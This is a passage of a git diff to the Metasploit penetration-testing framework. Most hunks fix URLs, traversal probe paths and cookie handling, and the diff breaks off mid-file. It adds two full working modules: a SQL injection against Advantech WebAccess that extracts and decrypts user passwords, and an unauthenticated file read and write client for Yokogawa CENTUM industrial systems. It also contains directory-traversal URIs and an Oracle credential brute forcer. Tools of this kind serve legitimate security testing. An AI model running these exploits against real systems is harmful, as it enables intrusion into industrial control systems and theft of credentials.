Msf::ServiceState::Open + ) end rescue ::Interrupt raise $! @@ -71,43 +119,4 @@ class Metasploit3 < Msf::Auxiliary end end - def handle_reply(map_target, host, external_address, pkt) - return if not pkt[1] - - if(pkt[1] =~ /^::ffff:/) - pkt[1] = pkt[1].sub(/^::ffff:/, '') - end - - (ver, op, result, epoch, internal_port, external_port, lifetime) = Rex::Proto::NATPMP.parse_map_port_response(pkt[0]) - - if (result == 0) - if (datastore['RPORT'].to_i != external_port) - print_status( "#{external_address} " + - "#{datastore['RPORT']}/#{datastore['PROTOCOL']} -> #{map_target} " + - "#{internal_port}/#{datastore['PROTOCOL']} couldn't be forwarded") - end - print_status( "#{external_address} " + - "#{external_port}/#{datastore['PROTOCOL']} -> #{map_target} " + - "#{internal_port}/#{datastore['PROTOCOL']} forwarded") - end - - # report NAT-PMP as being open - report_service( - :host => host, - :port => pkt[2], - :proto => 'udp', - :name => 'natpmp', - :state => Msf::ServiceState::Open - ) - - # report the external port as being open - if inside_workspace_boundary?(external_address) - report_service( - :host => external_address, - :port => external_port, - :proto => datastore['PROTOCOL'].to_s.downcase, - :state => Msf::ServiceState::Open - ) - end - end end diff --git a/modules/auxiliary/admin/officescan/tmlisten_traversal.rb b/modules/auxiliary/admin/officescan/tmlisten_traversal.rb index 0b45caa265..8ec139cec0 100644 --- a/modules/auxiliary/admin/officescan/tmlisten_traversal.rb +++ b/modules/auxiliary/admin/officescan/tmlisten_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_raw( { - 'uri' => '/activeupdate/../../../../../../../../../../../boot.ini', + 'uri' => '/activeupdate/../../../../../../../../../../../windows\\win.ini', 'method' => 'GET', }, 20) @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Auxiliary http_fingerprint({ :response => res }) if (res.code >= 200) - if (res.body =~ /boot/) + if (res.body =~ /for 16-bit app support/) vuln = "vulnerable." else vuln = "not vulnerable." diff --git a/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb b/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb index b142a9e655..c9b9faccbb 100644 --- a/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb +++ b/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/oracle/oracle_login.rb b/modules/auxiliary/admin/oracle/oracle_login.rb index f3714b804b..f4a0fbdf1f 100644 --- a/modules/auxiliary/admin/oracle/oracle_login.rb +++ b/modules/auxiliary/admin/oracle/oracle_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -44,27 +44,28 @@ class Metasploit3 < Msf::Auxiliary print_status("Starting brute force on #{datastore['RHOST']}:#{datastore['RPORT']}...") fd = CSV.foreach(list) do |brute| + datastore['DBUSER'] = brute[2].downcase + datastore['DBPASS'] = brute[3].downcase - datastore['DBUSER'] = brute[2].downcase - datastore['DBPASS'] = brute[3].downcase - - begin - connect - disconnect - rescue ::OCIError => e + begin + connect + disconnect + rescue ::OCIError => e + if e.to_s =~ /^ORA-12170:\s/ + print_error("#{datastore['RHOST']}:#{datastore['RPORT']} Connection timed out") + break + end else - if (not e) - report_auth_info( + report_auth_info( :host => "#{datastore['RHOST']}", :port => "#{datastore['RPORT']}", :sname => 'oracle', :user => "#{datastore['SID']}/#{datastore['DBUSER']}", :pass => "#{datastore['DBPASS']}", :active => true - ) - print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}") - end - end + ) + print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}") + end end end end diff --git a/modules/auxiliary/admin/oracle/oracle_sql.rb b/modules/auxiliary/admin/oracle/oracle_sql.rb index 53442625e1..9313e577f3 100644 --- a/modules/auxiliary/admin/oracle/oracle_sql.rb +++ b/modules/auxiliary/admin/oracle/oracle_sql.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/oracle/oraenum.rb b/modules/auxiliary/admin/oracle/oraenum.rb index 71c1a8ee5d..84736d2734 100644 --- a/modules/auxiliary/admin/oracle/oraenum.rb +++ b/modules/auxiliary/admin/oracle/oraenum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/oracle/osb_execqr.rb b/modules/auxiliary/admin/oracle/osb_execqr.rb index 4a041348f8..581c65d9ac 100644 --- a/modules/auxiliary/admin/oracle/osb_execqr.rb +++ b/modules/auxiliary/admin/oracle/osb_execqr.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/oracle/osb_execqr2.rb b/modules/auxiliary/admin/oracle/osb_execqr2.rb index 261ab2395a..94a16f0d72 100644 --- a/modules/auxiliary/admin/oracle/osb_execqr2.rb +++ b/modules/auxiliary/admin/oracle/osb_execqr2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -49,9 +49,7 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'POST', }, 5) - if (res and res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i)) - - sessionid = res.headers['Set-Cookie'].split(';')[0] + if res && res.get_cookies.match(/PHPSESSID=(.*);(.*)/i) print_status("Sending command: #{datastore['CMD']}...") @@ -59,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary { 'uri' => '/property_box.php', 'data' => 'type=Sections&vollist=75' + Rex::Text.uri_encode("&" + cmd), - 'cookie' => sessionid, + 'cookie' => res.get_cookies, 'method' => 'POST', }, 5) diff --git a/modules/auxiliary/admin/oracle/osb_execqr3.rb b/modules/auxiliary/admin/oracle/osb_execqr3.rb index 06264af018..d9355644a7 100644 --- a/modules/auxiliary/admin/oracle/osb_execqr3.rb +++ b/modules/auxiliary/admin/oracle/osb_execqr3.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -46,9 +46,7 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'POST', }, 5) - if (res and res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i)) - - sessionid = res.headers['Set-Cookie'].split(';')[0] + if res && res.get_cookies.match(/PHPSESSID=(.*);(.*)/i) print_status("Sending command: #{datastore['CMD']}...") @@ -56,7 +54,7 @@ class Metasploit3 < Msf::Auxiliary { 'uri' => '/property_box.php', 'data' => 'type=Job&jlist=' + Rex::Text.uri_encode('&' + cmd), - 'cookie' => sessionid, + 'cookie' => res.get_cookies, 'method' => 'POST', }, 5) diff --git a/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb b/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb index 35a8ede0a1..c5f9453f72 100644 --- a/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb +++ b/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb b/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb index 6dd7746668..a9140ed59d 100644 --- a/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb +++ b/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/oracle/sid_brute.rb b/modules/auxiliary/admin/oracle/sid_brute.rb index 334c8d1c12..d7e50deacb 100644 --- a/modules/auxiliary/admin/oracle/sid_brute.rb +++ b/modules/auxiliary/admin/oracle/sid_brute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -41,12 +41,14 @@ class Metasploit3 < Msf::Auxiliary print_status("Starting brute force on #{rhost}, using sids from #{list}...") - fd = File.open(list, 'rb').each do |sid| + fd = ::File.open(list, 'rb').each do |sid| login = "(DESCRIPTION=(CONNECT_DATA=(SID=#{sid})(CID=(PROGRAM=)(HOST=MSF)(USER=)))(ADDRESS=(PROTOCOL=tcp)(HOST=#{rhost})(PORT=#{rport})))" pkt = tns_packet(login) begin connect + rescue ::Interrupt + raise $! rescue => e print_error(e.to_s) disconnect @@ -55,12 +57,10 @@ class Metasploit3 < Msf::Auxiliary sock.put(pkt) select(nil,nil,nil,s.to_i) - res = sock.get_once(-1,3) + res = sock.get_once disconnect - if ( res and res =~ /ERROR_STACK/ ) - '' - else + if res and res.to_s !~ /ERROR_STACK/ report_note( :host => rhost, :port => rport, @@ -70,6 +70,7 @@ class Metasploit3 < Msf::Auxiliary ) print_good("#{rhost}:#{rport} Found SID '#{sid.strip}'") end + end print_status("Done with brute force...") diff --git a/modules/auxiliary/admin/oracle/tnscmd.rb b/modules/auxiliary/admin/oracle/tnscmd.rb index 61412528ea..61c7a66ec0 100644 --- a/modules/auxiliary/admin/oracle/tnscmd.rb +++ b/modules/auxiliary/admin/oracle/tnscmd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/pop2/uw_fileretrieval.rb b/modules/auxiliary/admin/pop2/uw_fileretrieval.rb index 77d4dc11db..d8e837f799 100644 --- a/modules/auxiliary/admin/pop2/uw_fileretrieval.rb +++ b/modules/auxiliary/admin/pop2/uw_fileretrieval.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/postgres/postgres_readfile.rb b/modules/auxiliary/admin/postgres/postgres_readfile.rb index b822b320a9..b355d65869 100644 --- a/modules/auxiliary/admin/postgres/postgres_readfile.rb +++ b/modules/auxiliary/admin/postgres/postgres_readfile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/postgres/postgres_sql.rb b/modules/auxiliary/admin/postgres/postgres_sql.rb index cdce0e05fe..9a811c4d1d 100644 --- a/modules/auxiliary/admin/postgres/postgres_sql.rb +++ b/modules/auxiliary/admin/postgres/postgres_sql.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb b/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb index 4058d9dac6..43f91cf73e 100644 --- a/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb +++ b/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb b/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb index c034b7fe21..383b187968 100644 --- a/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb +++ b/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb b/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb new file mode 100644 index 0000000000..ddafc1502c --- /dev/null +++ b/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb @@ -0,0 +1,299 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include REXML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Advantech WebAccess SQL Injection', + 'Description' => %q{ + This module exploits a SQL injection vulnerability found in Advantech WebAccess 7.1. The + vulnerability exists in the DBVisitor.dll component, and can be abused through malicious + requests to the ChartThemeConfig web service. This module can be used to extract the site + and project usernames and hashes. + }, + 'References' => + [ + [ 'CVE', '2014-0763' ], + [ 'ZDI', '14-077' ], + [ 'OSVDB', '105572' ], + [ 'BID', '66740' ], + [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-14-079-03' ] + ], + 'Author' => + [ + 'rgod <rgod[at]autistici.org>', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Apr 08 2014" + )) + + register_options( + [ + OptString.new("TARGETURI", [true, 'The path to the BEMS Web Site', '/BEMS']), + OptString.new("WEB_DATABASE", [true, 'The path to the bwCfg.mdb database in the target', "C:\\WebAccess\\Node\\config\\bwCfg.mdb"]) + ], self.class) + end + + def build_soap(injection) + xml = Document.new + xml.add_element( + "s:Envelope", + { + 'xmlns:s' => "http://schemas.xmlsoap.org/soap/envelope/" + }) + xml.root.add_element("s:Body") + body = xml.root.elements[1] + body.add_element( + "GetThemeNameList", + { + 'xmlns' => "http://tempuri.org/" + }) + name_list = body.elements[1] + name_list.add_element("userName") + name_list.elements['userName'].text = injection + + xml.to_s + end + + def do_sqli(injection, mark) + xml = build_soap(injection) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path.to_s, "Services", "ChartThemeConfig.svc"), + 'ctype' => 'text/xml; charset=UTF-8', + 'headers' => { + 'SOAPAction' => '"http://tempuri.org/IChartThemeConfig/GetThemeNameList"' + }, + 'data' => xml + }) + + unless res && res.code == 200 && res.body && res.body.include?(mark) + return nil + end + + res.body.to_s + end + + def check + mark = Rex::Text.rand_text_alpha(8 + rand(5)) + injection = "#{Rex::Text.rand_text_alpha(8 + rand(5))}' " + injection << "union all select '#{mark}' from BAThemeSetting where '#{Rex::Text.rand_text_alpha(2)}'='#{Rex::Text.rand_text_alpha(3)}" + data = do_sqli(injection, mark) + + if data.nil? + return Msf::Exploit::CheckCode::Safe + end + + Msf::Exploit::CheckCode::Vulnerable + end + + def parse_users(xml, mark, separator) + doc = Document.new(xml) + + strings = XPath.match(doc, "s:Envelope/s:Body/GetThemeNameListResponse/GetThemeNameListResult/a:string").map(&:text) + strings_length = strings.length + + unless strings_length > 1 + return + end + + i = 0 + strings.each do |result| + next if result == mark + @users << result.split(separator) + i = i + 1 + end + + end + + def run + print_status("#{peer} - Exploiting sqli to extract users information...") + mark = Rex::Text.rand_text_alpha(8 + rand(5)) + rand = Rex::Text.rand_text_numeric(2) + separator = Rex::Text.rand_text_alpha(5 + rand(5)) + # While installing I can only configure an Access backend, but + # according to documentation other backends are supported. This + # injection should be compatible, hopefully, with most backends. + injection = "#{Rex::Text.rand_text_alpha(8 + rand(5))}' " + injection << "union all select UserName + '#{separator}' + Password + '#{separator}' + Password2 + '#{separator}BAUser' from BAUser where #{rand}=#{rand} " + injection << "union all select UserName + '#{separator}' + Password + '#{separator}' + Password2 + '#{separator}pUserPassword' from pUserPassword IN '#{datastore['WEB_DATABASE']}' where #{rand}=#{rand} " + injection << "union all select UserName + '#{separator}' + Password + '#{separator}' + Password2 + '#{separator}pAdmin' from pAdmin IN '#{datastore['WEB_DATABASE']}' where #{rand}=#{rand} " + injection << "union all select '#{mark}' from BAThemeSetting where '#{Rex::Text.rand_text_alpha(2)}'='#{Rex::Text.rand_text_alpha(3)}" + data = do_sqli(injection, mark) + + if data.blank? + print_error("#{peer} - Error exploiting sqli") + return + end + + @users = [] + @plain_passwords = [] + + print_status("#{peer} - Parsing extracted data...") + parse_users(data, mark, separator) + + if @users.empty? + print_error("#{peer} - Users not found") + return + else + print_good("#{peer} - #{@users.length} users found!") + end + + users_table = Rex::Ui::Text::Table.new( + 'Header' => 'Advantech WebAccess Users', + 'Indent' => 1, + 'Columns' => ['Username', 'Encrypted Password', 'Key', 'Recovered password', 'Origin'] + ) + + for i in 0..@users.length - 1 + @plain_passwords[i] = + begin + decrypt_password(@users[i][1], @users[i][2]) + rescue + "(format not recognized)" + end + + @plain_passwords[i] = "(blank password)" if @plain_passwords[i].empty? + + begin + @plain_passwords[i].encode("ISO-8859-1").to_s + rescue Encoding::UndefinedConversionError + chars = @plain_passwords[i].unpack("C*") + @plain_passwords[i] = "0x#{chars.collect {|c| c.to_s(16)}.join(", 0x")}" + @plain_passwords[i] << " (ISO-8859-1 hex chars)" + end + + report_auth_info({ + :host => rhost, + :port => rport, + :user => @users[i][0], + :pass => @plain_passwords[i], + :type => "password", + :sname => (ssl ? "https" : "http"), + :proof => "Leaked encrypted password from #{@users[i][3]}: #{@users[i][1]}:#{@users[i][2]}" + }) + + users_table << [@users[i][0], @users[i][1], @users[i][2], @plain_passwords[i], user_type(@users[i][3])] + end + + print_line(users_table.to_s) + end + + def user_type(database) + user_type = database + + unless database == "BAUser" + user_type << " (Web Access)" + end + + user_type + end + + def decrypt_password(password, key) + recovered_password = recover_password(password) + recovered_key = recover_key(key) + + recovered_bytes = decrypt_bytes(recovered_password, recovered_key) + password = [] + + recovered_bytes.each { |b| + if b == 0 + break + else + password.push(b) + end + } + + return password.pack("C*") + end + + def recover_password(password) + bytes = password.unpack("C*") + recovered = [] + + i = 0 + j = 0 + while i < 16 + low = bytes[i] + if low < 0x41 + low = low - 0x30 + else + low = low - 0x37 + end + low = low * 16 + + high = bytes[i+1] + if high < 0x41 + high = high - 0x30 + else + high = high - 0x37 + end + + recovered_byte = low + high + recovered[j] = recovered_byte + i = i + 2 + j = j + 1 + end + + recovered + end + + def recover_key(key) + bytes = key.unpack("C*") + recovered = 0 + + bytes[0, 8].each { |b| + recovered = recovered * 16 + if b < 0x41 + byte_weight = b - 0x30 + else + byte_weight = b - 0x37 + end + recovered = recovered + byte_weight + } + + recovered + end + + def decrypt_bytes(bytes, key) + result = [] + xor_table = [0xaa, 0xa5, 0x5a, 0x55] + key_copy = key + for i in 0..7 + byte = (crazy(bytes[i] ,8 - (key & 7)) & 0xff) + result.push(byte ^ xor_table[key_copy & 3]) + key_copy = key_copy / 4 + key = key / 8 + end + + result + end + + def crazy(byte, magic) + result = byte & 0xff + + while magic > 0 + result = result * 2 + if result & 0x100 == 0x100 + result = result + 1 + end + magic = magic - 1 + end + + result + end + +end + diff --git a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb index c34366b974..2251e33566 100644 --- a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb +++ b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(80), OptString.new('TARGETURI',[true, 'Path to CimWeb', '/CimWeb']), - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), # By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb OptInt.new('DEPTH', [true, 'Traversal depth', 5]) ], self.class) diff --git a/modules/auxiliary/admin/scada/modicon_command.rb b/modules/auxiliary/admin/scada/modicon_command.rb index 9040f7c8b1..53bf52ea84 100644 --- a/modules/auxiliary/admin/scada/modicon_command.rb +++ b/modules/auxiliary/admin/scada/modicon_command.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/scada/modicon_password_recovery.rb b/modules/auxiliary/admin/scada/modicon_password_recovery.rb index 1b953fc3f0..ca0df87132 100644 --- a/modules/auxiliary/admin/scada/modicon_password_recovery.rb +++ b/modules/auxiliary/admin/scada/modicon_password_recovery.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/scada/modicon_stux_transfer.rb b/modules/auxiliary/admin/scada/modicon_stux_transfer.rb index 2631836d6a..4906829d56 100644 --- a/modules/auxiliary/admin/scada/modicon_stux_transfer.rb +++ b/modules/auxiliary/admin/scada/modicon_stux_transfer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/scada/multi_cip_command.rb b/modules/auxiliary/admin/scada/multi_cip_command.rb index e6afe6f66a..6abc81f58e 100644 --- a/modules/auxiliary/admin/scada/multi_cip_command.rb +++ b/modules/auxiliary/admin/scada/multi_cip_command.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb b/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb new file mode 100644 index 0000000000..6d0dde4b03 --- /dev/null +++ b/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::TcpServer + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Yokogawa BKBCopyD.exe Client', + 'Description' => %q{ + This module allows an unauthenticated user to interact with the Yokogawa + CENTUM CS3000 BKBCopyD.exe service through the PMODE, RETR and STOR + operations. + }, + 'Author' => + [ 'Unknown' ], + 'References' => + [ + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/08/09/r7-2014-10-disclosure-yokogawa-centum-cs3000-bkbcopydexe-file-system-access'] + ], + 'Actions' => + [ + ['PMODE', { 'Description' => 'Leak the current database' }], + ['RETR', { 'Description' => 'Retrieve remote file' }], + ['STOR', { 'Description' => 'Store remote file' }] + ], + 'DisclosureDate' => 'Aug 9 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(20111), + OptString.new('RPATH', [ false, 'The Remote Path (required to RETR and STOR)', "" ]), + OptPath.new('LPATH', [ false, 'The Local Path (required to STOR)' ]) + ], self.class) + end + + def srvport + @srvport + end + + def run + exploit + end + + def exploit + @srvport = rand(1024..65535) + print_status("#{@srvport}") + # We make the client connection before giving control to the TCP Server + # in order to release the src port, so the server can start correctly + + case action.name + when 'PMODE' + print_status("Sending PMODE packet...") + data = "PMODE MR_DBPATH\n" + res = send_pkt(data) + if res and res =~ /^210/ + print_good("Success: #{res}") + else + print_error("Failed...") + end + return + when 'RETR' + data = "RETR #{datastore['RPATH']}\n" + print_status("Sending RETR packet...") + res = send_pkt(data) + return unless res and res =~ /^150/ + when 'STOR' + data = "STOR #{datastore['RPATH']}\n" + print_status("Sending STOR packet...") + res = send_pkt(data) + return unless res and res =~ /^150/ + else + print_error("Incorrect action") + return + end + + super # TCPServer :) + end + + def send_pkt(data) + connect(true, {'CPORT' => @srvport}) + sock.put(data) + data = sock.get_once + disconnect + + return data + end + + def valid_response?(data) + return false unless !!data + return false unless data =~ /500 'yyparse error': command not understood/ + return true + end + + def on_client_connect(c) + if action.name == 'STOR' + contents = "" + File.new(datastore['LPATH'], "rb") { |f| contents = f.read } + print_status("#{c.peerhost} - Sending data...") + c.put(contents) + self.service.close + self.service.stop + end + end + + def on_client_data(c) + print_status("#{c.peerhost} - Getting data...") + data = c.get_once + return unless data + if @store_path.blank? + @store_path = store_loot("yokogawa.cs3000.file", "application/octet-stream", rhost, data, datastore['PATH']) + print_good("#{@store_path} saved!") + else + File.open(@store_path, "ab") { |f| f.write(data) } + print_good("More data on #{@store_path}") + end + end + + def on_client_close(c) + stop_service + end + +end + diff --git a/modules/auxiliary/admin/serverprotect/file.rb b/modules/auxiliary/admin/serverprotect/file.rb index 02c29e28e4..b12195b257 100644 --- a/modules/auxiliary/admin/serverprotect/file.rb +++ b/modules/auxiliary/admin/serverprotect/file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/smb/check_dir_file.rb b/modules/auxiliary/admin/smb/check_dir_file.rb index 8e6199dd41..4003986145 100644 --- a/modules/auxiliary/admin/smb/check_dir_file.rb +++ b/modules/auxiliary/admin/smb/check_dir_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Authenticated include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -33,6 +34,7 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'patrick', + 'j0hn__f' ], 'References' => [ @@ -47,44 +49,56 @@ class Metasploit3 < Msf::Auxiliary end - def run_host(ip) - - vprint_status("Connecting to the server...") - + def check_path(path) begin - connect() - smb_login() - - vprint_status("Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...") - self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") - - vprint_status("Checking for file/folder #{datastore['RPATH']}...") - - if (fd = simple.open("\\#{datastore['RPATH']}", 'o')) # mode is open only - do not create/append/write etc - print_good("File FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']}") - fd.close - end - rescue ::Rex::HostUnreachable - vprint_error("Host #{rhost} offline.") - rescue ::Rex::Proto::SMB::Exceptions::LoginError - vprint_error("Host #{rhost} login error.") + if (fd = simple.open("\\#{path}", 'o')) # mode is open only - do not create/append/write etc + print_good("File FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path}") + fd.close + end rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e - if e.get_error(e.error_code) == "STATUS_FILE_IS_A_DIRECTORY" - print_good("Directory FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']}") - elsif e.get_error(e.error_code) == "STATUS_OBJECT_NAME_NOT_FOUND" - vprint_error("Object \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']} NOT found!") - elsif e.get_error(e.error_code) == "STATUS_OBJECT_PATH_NOT_FOUND" - vprint_error("Object PATH \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']} NOT found!") - elsif e.get_error(e.error_code) == "STATUS_ACCESS_DENIED" + case e.get_error(e.error_code) + when "STATUS_FILE_IS_A_DIRECTORY" + print_good("Directory FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path}") + when "STATUS_OBJECT_NAME_NOT_FOUND" + vprint_error("Object \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path} NOT found!") + when "STATUS_OBJECT_PATH_NOT_FOUND" + vprint_error("Object PATH \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path} NOT found!") + when "STATUS_ACCESS_DENIED" vprint_error("Host #{rhost} reports access denied.") - elsif e.get_error(e.error_code) == "STATUS_BAD_NETWORK_NAME" + when "STATUS_BAD_NETWORK_NAME" vprint_error("Host #{rhost} is NOT connected to #{datastore['SMBDomain']}!") - elsif e.get_error(e.error_code) == "STATUS_INSUFF_SERVER_RESOURCES" + when "STATUS_INSUFF_SERVER_RESOURCES" vprint_error("Host #{rhost} rejected with insufficient resources!") + when "STATUS_OBJECT_NAME_INVALID" + vprint_error("opeining \\#{path} bad filename") else raise e end end end + def run_host(ip) + vprint_status("Connecting to the server...") + + begin + connect + smb_login + + vprint_status("Mounting 